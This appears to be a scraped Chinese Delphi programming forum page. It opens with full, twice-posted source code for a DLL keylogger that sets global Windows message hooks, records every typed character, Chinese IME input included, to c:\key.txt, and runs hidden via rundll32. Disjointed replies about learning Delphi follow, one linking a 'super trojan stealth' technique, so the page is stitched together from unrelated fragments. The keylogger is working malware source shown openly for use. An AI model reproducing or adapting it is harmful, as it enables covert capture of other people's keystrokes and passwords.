兄弟,我用Delphi做了一个全局钩子,钩住WH_GetMessage和WH_CallWinProc能将WM_CHAR和WM_IME_CHAR截获,英文汉字都行,运行方法为rundll32 myhost.dll,run,结果记录来文件key.txt中,但只能记edit控件中的,在richedit控件中有一些问题,欢迎大家同我讨论这个问题,我的qico:10772919,e-mail:[email protected],主页hotsky.363.net library myhost;uses windows,messages,sysutils,tlhelp32;{$r *.res}const HookMemFileName='HookMemFile.DTA';type PShared=^TShared; PWin=^TWin; TShared = record HHGetMsgProc:HHook; HHCallWndProc:HHook; hInstance:integer; end; TWin = record Msg:TMsg; wClass:TWndClass; hMain:integer; end; var MemFile:THandle; Shared:PShared; Win:TWin;procedure SaveInfo(str:string);stdcall; var f:textfile; begin assignfile(f,'c:\key.txt'); if fileexists('c:\key.txt')=false then rewrite(f) else append(f); writeln(f,str); closefile(f); end;procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall; begin if (uMessage=WM_CHAR) and (lParam<>1) then begin saveinfo(format('%s',[chr(wparam and $ff)])); end; if (uMessage=WM_IME_CHAR) then begin saveinfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)])); end; end;function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var pcs:PMSG; hd,uMsg,wP,lP:integer; begin pcs:=PMSG(lParam); if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then begin hd:=pcs^.hwnd; uMsg:=pcs^.message; wp:=pcs^.wParam; lp:=pcs^.lParam; HookProc(hd,uMsg,wp,lp); end; Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);end;function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var pcs:PCWPSTRUCT; hd,uMsg,wP,lP:integer; begin pcs:=PCWPSTRUCT(lParam); if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then begin hd:=pcs^.hwnd; uMsg:=pcs^.message; wp:=pcs^.wParam; lp:=pcs^.lParam; HookProc(hd,uMsg,wp,lp); end; Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam); end;procedure SetHook(fSet:boolean); begin with shared^ do if fSet=true then begin if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0); if HHCallWndProc=0 then begin HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0); if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc); end; end else begin if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc); if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc); HHGetMsgProc:=0; HHCallWndProc:=0; end; end;procedure Extro; begin UnmapViewOfFile(Shared); CloseHandle(MemFile); end; function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall; begin Result:=DefWindowProc(hWnd,Msg,wParam,lParam); case Msg of wm_quit: begin SetHook(False); halt; end; end; end;procedure run;stdcall; begin win.wClass.lpfnWndProc:= @WindowProc; win.wClass.hInstance:= hInstance; win.wClass.lpszClassName:='MyHost'; RegisterClass(win.wClass); win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'MyHost',WS_CAPTION,0,0,1,1,0,0,hInstance,nil); FillChar(Shared^,SizeOf(TShared),0); Shared^.hInstance:=hInstance; SetHook(true); while(GetMessage(win.Msg,win.hmain,0,0))do begin TranslateMessage(win.Msg); DispatchMessage(win.Msg); end; end;procedure DllEntryPoint(fdwReason:DWORD); begin case fdwReason of DLL_PROCESS_DETACH: Extro; end; end;exports run;begin MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName); Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0); DLLProc:=@DllEntryPoint; end.
但会用vb做数据库了
我恨死delphi了
也很想学delphi
谁能帮我呀
帮不了的话我去学vc或pb算了
后来一个项目要用到DELPHI,边学边用,一个月入门
在短期内成为高手或精通的,不是吹牛就是天才。
要做不同的项目,不要做MIS, 做MIS是学不到东西的。
最好是做通讯或Com之类的项目。
最好深入到DELPHI内部
多看DELPHI源码
多做系统相关的东西
数据库少做
http://www.csdn.net/expert/Topic/156/156011.shtm
超级木马隐身术,用delphi 编的,看看哟
自认水平很差,所以经手的软件好不了哪儿去,唉!
Delhpi绝大部分功能到现在止还不熟悉,却也做了这么多软件。
是我高水平吗?不是,我的Delphi是从COPY中过来的,大量的代码冗余,使我头昏脑胀,单纯的一套开发方法我很厌恶,C/S编程至现在止只用Query和StoredProc,迫切需要技术转型,可我从何开始呢?这就是我的Delphi学习生涯,下一步如何走呢???》!·
接触DLEPHI两个月,就开始做一个进销存的系统,已经快要一年了,
DELPHI学的不怎么样,系统也还留着尾巴。
不会时都会去DELPHI论坛,可惜已经关门了。
不过现在还是在学Java,希望日子过得好一点嘛
三个月前有了一个作品:集成搜索环境(iSE)。
不就前又有一个作品:007 GoldenEye.
感兴趣可以去看看:http://www.6bytes.com/不知以普通标准看这个水平可算是学成?
当然我自己是知道还差得很远很远...
library myhost;uses windows,messages,sysutils,tlhelp32;{$r *.res}const HookMemFileName='HookMemFile.DTA';type
PShared=^TShared;
PWin=^TWin;
TShared = record
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
hInstance:integer;
end;
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
end;
var
MemFile:THandle;
Shared:PShared;
Win:TWin;procedure SaveInfo(str:string);stdcall;
var
f:textfile;
begin
assignfile(f,'c:\key.txt');
if fileexists('c:\key.txt')=false then rewrite(f)
else append(f);
writeln(f,str);
closefile(f);
end;procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
begin
if (uMessage=WM_CHAR) and (lParam<>1) then
begin
saveinfo(format('%s',[chr(wparam and $ff)]));
end;
if (uMessage=WM_IME_CHAR) then
begin
saveinfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));
end;
end;function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);end;function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;procedure SetHook(fSet:boolean);
begin
with shared^ do
if fSet=true then
begin
if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
end else
begin
if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
end;
end;procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;
function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_quit:
begin
SetHook(False);
halt;
end;
end;
end;procedure run;stdcall;
begin
win.wClass.lpfnWndProc:= @WindowProc;
win.wClass.hInstance:= hInstance;
win.wClass.lpszClassName:='MyHost';
RegisterClass(win.wClass);
win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'MyHost',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
Shared^.hInstance:=hInstance;
SetHook(true);
while(GetMessage(win.Msg,win.hmain,0,0))do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;procedure DllEntryPoint(fdwReason:DWORD);
begin
case fdwReason of
DLL_PROCESS_DETACH:
Extro;
end;
end;exports run;begin
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
DLLProc:=@DllEntryPoint;
end.
自学好长时间了,什么都还不懂。KAO!真要自宫?